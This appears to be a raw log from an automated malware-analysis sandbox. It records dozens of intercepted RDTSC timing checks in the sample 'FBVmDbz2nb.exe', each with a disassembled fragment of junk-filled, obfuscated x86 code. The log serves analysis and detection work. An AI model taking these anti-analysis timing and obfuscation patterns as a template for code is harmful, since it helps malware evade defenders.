Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DEC584 second address: DEC5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8784B3055Fh 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DEC5A3 second address: DEC5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DEC5A7 second address: DEC5B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DEC5B0 second address: DEC5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d jmp 00007F8784D62274h 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jp 00007F8784D62268h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8784D62275h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D7DC12 second address: D7DC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F8784B3055Fh 0x0000000d popad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF485F second address: DF4868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF3B13 second address: DF3B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007F8784B30556h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF3B1F second address: DF3B29 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8784D62266h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF3C9A second address: DF3CAC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F8784B3055Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF3CAC second address: DF3CC1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8784D62268h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F8784D6226Eh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF3E13 second address: DF3E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30561h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF3F6B second address: DF3F92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Eh 0x00000007 jnp 00007F8784D62270h 0x0000000d jmp 00007F8784D6226Ah 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF4682 second address: DF469F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30563h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF469F second address: DF46CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Eh 0x00000009 jmp 00007F8784D62273h 0x0000000e popad 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF46CC second address: DF46E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jnl 00007F8784B30556h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F8784B30556h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF46E5 second address: DF46E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFA91C second address: DFA936 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007F8784B30556h 0x00000011 jng 00007F8784B30556h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFA936 second address: DFA93B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF95D3 second address: DF95D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF95D7 second address: DF95E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF95E1 second address: DF95E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF95E5 second address: DF95F9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c jbe 00007F8784D6226Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF9861 second address: DF9873 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F8784B30556h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF9873 second address: DF9890 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F8784D62277h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF9890 second address: DF98AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007F8784B30556h 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF98AF second address: DF98CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Fh 0x00000009 jmp 00007F8784D6226Bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF98CE second address: DF98DD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8784B30558h 0x00000008 push ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF9CB5 second address: DF9CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF9CBA second address: DF9CDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784B3055Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF9CDE second address: DF9CF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8784D6226Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DF9CF5 second address: DF9D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8784B30556h 0x0000000a jmp 00007F8784B3055Eh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFA016 second address: DFA01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFA01A second address: DFA01E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFA176 second address: DFA184 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFA184 second address: DFA188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEC5E second address: DFEC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEC62 second address: DFEC72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEC72 second address: DFEC82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F8784D62266h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEC82 second address: DFECA0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F8784B30560h 0x0000000a pop edx 0x0000000b jnp 00007F8784B3055Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEF6D second address: DFEF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEF73 second address: DFEF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEF7C second address: DFEF80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFEF80 second address: DFEFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jl 00007F8784B3057Bh 0x0000000d jmp 00007F8784B30569h 0x00000012 js 00007F8784B3055Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF130 second address: DFF141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF296 second address: DFF29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF29C second address: DFF2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF3F4 second address: DFF405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF827 second address: DFF833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8784D62266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF833 second address: DFF865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F8784B30569h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8784B3055Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF865 second address: DFF869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF869 second address: DFF8A3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F8784B30556h 0x00000011 jmp 00007F8784B30567h 0x00000016 jmp 00007F8784B30561h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFF8A3 second address: DFF8AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFFAF6 second address: DFFB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DFE9C4 second address: DFE9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E04BA9 second address: E04BBE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F8784B30556h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D89A01 second address: D89A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D89A06 second address: D89A2A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8784B3055Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jo 00007F8784B30556h 0x00000017 jg 00007F8784B30556h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D89A2A second address: D89A30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCBF7A second address: DCBFF3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F8784B30558h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 movsx edi, ax 0x0000002b pushad 0x0000002c mov esi, dword ptr [ebp+1244F285h] 0x00000032 stc 0x00000033 popad 0x00000034 lea eax, dword ptr [ebp+12487CB0h] 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F8784B30558h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000016h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 mov dword ptr [ebp+1244F308h], eax 0x0000005a nop 0x0000005b pushad 0x0000005c jmp 00007F8784B30560h 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCBFF3 second address: DCC017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784D62278h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCC017 second address: DCC025 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F8784B30556h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCC025 second address: DA7927 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov ecx, dword ptr [ebp+122D2E9Fh] 0x00000012 mov edi, esi 0x00000014 call dword ptr [ebp+122D2EA5h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8784D62276h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCC59E second address: DCC5A8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8784B3055Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCC5A8 second address: DCC5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F8784D62268h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 jmp 00007F8784D6226Ch 0x00000026 push 59645AFEh 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCC6E7 second address: DCC6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCC6ED second address: DCC6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCC790 second address: DCC7B0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d je 00007F8784B30558h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 xchg eax, esi 0x00000017 mov cx, dx 0x0000001a nop 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCD138 second address: DCD13F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCD13F second address: DCD18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F8784B30565h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edi 0x00000012 push edx 0x00000013 js 00007F8784B30556h 0x00000019 pop edx 0x0000001a pop edi 0x0000001b mov eax, dword ptr [eax] 0x0000001d jc 00007F8784B3057Ah 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8784B30568h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCD18C second address: DCD19F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCD19F second address: DCD1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCD28C second address: DCD290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCD290 second address: DCD294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCD387 second address: DCD399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jnp 00007F8784D62266h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E0DBD5 second address: E0DBDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10369 second address: E1036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1036F second address: E10375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10375 second address: E1037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E104EC second address: E104F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E104F0 second address: E104F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E104F4 second address: E10504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F8784B30556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10504 second address: E10508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10508 second address: E10516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10516 second address: E1051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1051A second address: E10520 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10520 second address: E1052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
